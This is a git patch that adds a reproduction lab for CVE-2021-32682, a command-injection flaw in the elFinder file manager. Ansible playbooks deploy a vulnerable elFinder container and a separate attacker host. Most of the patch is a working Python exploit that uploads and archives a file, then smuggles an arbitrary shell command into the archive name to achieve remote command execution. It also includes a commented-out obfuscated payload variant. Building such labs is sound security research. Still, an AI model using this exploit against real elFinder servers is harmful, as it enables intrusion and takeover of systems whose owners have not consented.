From 21e6d4c3fdfff8d6877e31818239e13fe7c6f6ef Mon Sep 17 00:00:00 2001 From: shanjiaming Date: Wed, 20 Nov 2024 01:03:49 -0500 Subject: [PATCH] CVE-2021-32682, elFinder vul leads to arbitrary commands execution --- CVE-2021-32682/cvex.yml | 7 ++ CVE-2021-32682/data/docker-compose.yml | 6 + CVE-2021-32682/data/exploit.py | 166 +++++++++++++++++++++++++ CVE-2021-32682/ubuntu1.yml | 47 +++++++ CVE-2021-32682/ubuntu2.yml | 28 +++++ 5 files changed, 254 insertions(+) create mode 100644 CVE-2021-32682/cvex.yml create mode 100644 CVE-2021-32682/data/docker-compose.yml create mode 100644 CVE-2021-32682/data/exploit.py create mode 100644 CVE-2021-32682/ubuntu1.yml create mode 100644 CVE-2021-32682/ubuntu2.yml diff --git a/CVE-2021-32682/cvex.yml b/CVE-2021-32682/cvex.yml new file mode 100644 index 00000000..ea615d07 --- /dev/null +++ b/CVE-2021-32682/cvex.yml @@ -0,0 +1,7 @@ +blueprint: ubuntu2204-ubuntu2204 +ubuntu1: + playbook: ubuntu1.yml +ubuntu2: + playbook: ubuntu2.yml + command: | + python3 /opt/exploit/exploit.py --url http://%ubuntu1%:8080 --cmd "id>shell.php" \ No newline at end of file diff --git a/CVE-2021-32682/data/docker-compose.yml b/CVE-2021-32682/data/docker-compose.yml new file mode 100644 index 00000000..a998432d --- /dev/null +++ b/CVE-2021-32682/data/docker-compose.yml @@ -0,0 +1,6 @@ +version: '2' +services: + web: + image: vulhub/elfinder:2.1.58 + ports: + - "8080:80" \ No newline at end of file diff --git a/CVE-2021-32682/data/exploit.py b/CVE-2021-32682/data/exploit.py new file mode 100644 index 00000000..f191f11f --- /dev/null +++ b/CVE-2021-32682/data/exploit.py @@ -0,0 +1,166 @@ +import requests +import os +import random +import string +import argparse +import base64 +from urllib.parse import urljoin, urlparse + + +class ElFinderExploit: + def __init__(self, url): + self.target_url = url.rstrip('/') + self.session = requests.Session() + + def normalize_uri(self, *args): + return '/'.join(s.strip('/') for s in args) + + def upload_uri(self): + return self.normalize_uri(urlparse(self.target_url).path, 'php', 'connector.minimal.php') + + def send_request_cgi(self, method='GET', uri='', params=None, data=None, files=None, headers=None, ctype=None): + url = urljoin(self.target_url, uri) + if headers is None: + headers = {} + if ctype: + headers['Content-Type'] = ctype + try: + if method == 'GET': + resp = self.session.get(url, params=params, headers=headers) + elif method == 'POST': + resp = self.session.post(url, data=data, files=files, headers=headers) + print(url,) + else: + resp = self.session.request(method, url, params=params, data=data, files=files, headers=headers) + return resp + except Exception as e: + print(f"Error in request: {e}") + return None + + def upload_successful(self, response): + if not response: + print('Did not receive a response from elFinder') + return False + + if response.status_code != 200 or 'error' in response.text: + print(f"Request failed: {response.text}") + return False + + if 'added' not in response.text: + print(f"Failed to add new file: {response.text}") + return False + + try: + json_data = response.json() + if not json_data.get('added'): + return False + except ValueError: + return False + + return True + + def archive_successful(self, response): + return self.upload_successful(response) + + def upload_txt_file(self, file_name): + file_data = ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(8, 20))) + + data = { + 'cmd': 'upload', + 'target': 'l1_Lw', + } + files = { + 'upload[]': (file_name, file_data, 'text/plain'), + } + + print(f"Uploading file {file_name} to elFinder") + return self.send_request_cgi( + method='POST', + uri=self.upload_uri(), + data=data, + files=files + ) + + def create_archive(self, archive_name, *files_to_archive): + files_to_archive = ['l1_' + base64.b64encode(file_name.encode()).decode().strip('=') for file_name in files_to_archive] + + params = { + 'cmd': 'archive', + 'name': archive_name, + 'target': 'l1_Lw', + 'type': 'application/zip', + 'targets[]': files_to_archive + } + + return self.send_request_cgi( + method='GET', + uri=self.upload_uri(), + params=params + ) + + def setup_files_for_sploit(self): + # self.txt_file = ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(5, 10))) + '.txt' + self.txt_file = '1.txt' + res = self.upload_txt_file(self.txt_file) + if not self.upload_successful(res): + print('Upload was not successful') + return False + print('Text file was successfully uploaded!') + + # self.archive_name = ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(5, 10))) + '.zip' + self.archive_name = '2.zip' + print(f"Attempting to create archive {self.archive_name}") + res = self.create_archive(self.archive_name, self.txt_file) + if not self.archive_successful(res): + print('Archive was not created') + return False + print('Archive was successfully created!') + return True + + def execute_command(self, cmd): + + # MS50eHQ is 1.txt base64 encoding + # Mi56aXA is 2.zip base64 encoding + + poststr = f""" + curl -X GET "{self.target_url}/php/connector.minimal.php?cmd=archive&name=-TvTT={cmd}%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip" \ + -H "Accept: application/json, text/javascript, */*; q=0.01" \ + -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36" \ + -H "X-Requested-With: XMLHttpRequest" \ + -H "Referer: http://localhost.lan:8080/" \ + -H "Accept-Encoding: gzip, deflate" \ + -H "Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7" \ + -H "Connection: close" + """ + os.system(poststr) + + # cmd_encoded = base64.b64encode(cmd.encode()).decode() + # cmd_to_execute = f"echo{cmd_encoded}|base64${{IFS}}-d|sh" + # random_str = ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(1, 3))) + # cmd_arg = f'-TmTT="${{IFS}}$({cmd_to_execute}){random_str}"' + # cmd_arg = cmd_arg.replace(' ', '${IFS}') + # self.create_archive(cmd_arg, self.archive_name, self.txt_file) + + def exploit(self, cmd): + if not self.setup_files_for_sploit(): + print('Failed to set up files for exploit') + return False + self.execute_command(cmd) + return True + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Exploit elFinder Command Injection (CVE-2021-32682)") + parser.add_argument('--url', required=True, help='Target URL for elFinder') + parser.add_argument('--cmd', required=True, help='Command to execute on the target') + + args = parser.parse_args() + + exploit = ElFinderExploit(args.url) + if exploit.exploit(args.cmd): + print("[+] Exploit executed successfully. Although it show {'error':['errArchive']}, it's ok. The command has been executed.") + else: + print("[-] Exploit failed.") + + + diff --git a/CVE-2021-32682/ubuntu1.yml b/CVE-2021-32682/ubuntu1.yml new file mode 100644 index 00000000..391ada52 --- /dev/null +++ b/CVE-2021-32682/ubuntu1.yml @@ -0,0 +1,47 @@ +--- +- name: Setup vulnerable elFinder on Ubuntu using Docker Compose + hosts: ubuntu1 + become: yes + tasks: + - name: Update apt package index + apt: + update_cache: yes + + - name: Ensure Docker is installed + apt: + name: docker.io + state: present + + - name: Install a list of packages + ansible.builtin.apt: + pkg: + - docker-buildx + - docker-compose-v2 + + - name: Ensure Docker service is started and enabled + service: + name: docker + state: started + enabled: yes + + - name: Verify Docker Compose installation + command: docker compose version + register: compose_version + + - debug: + msg: "Docker Compose version: {{ compose_version.stdout }}" + + - name: Create /opt/elFinder + file: + path: /opt/elFinder + state: directory + + - name: Copy elFinder + ansible.builtin.copy: + src: ./data/docker-compose.yml + dest: /opt/elFinder + + - name: Start Docker Compose services + command: docker compose up -d --build + args: + chdir: /opt/elFinder diff --git a/CVE-2021-32682/ubuntu2.yml b/CVE-2021-32682/ubuntu2.yml new file mode 100644 index 00000000..5d537ef5 --- /dev/null +++ b/CVE-2021-32682/ubuntu2.yml @@ -0,0 +1,28 @@ +--- +- name: Configure ubuntu2 as the attacker + hosts: ubuntu2 + become: yes + tasks: + - name: Install Python dependencies + apt: + name: + - python3 + - python3-pip + state: present + update_cache: yes + + - name: Install required Python libraries + pip: + name: requests + executable: pip3 + + - name: Create /opt/exploit + file: + path: /opt/exploit + state: directory + + - name: Copy exp to /opt/exploit + ansible.builtin.copy: + src: ./data/exploit.py + dest: /opt/exploit + mode: '0755' \ No newline at end of file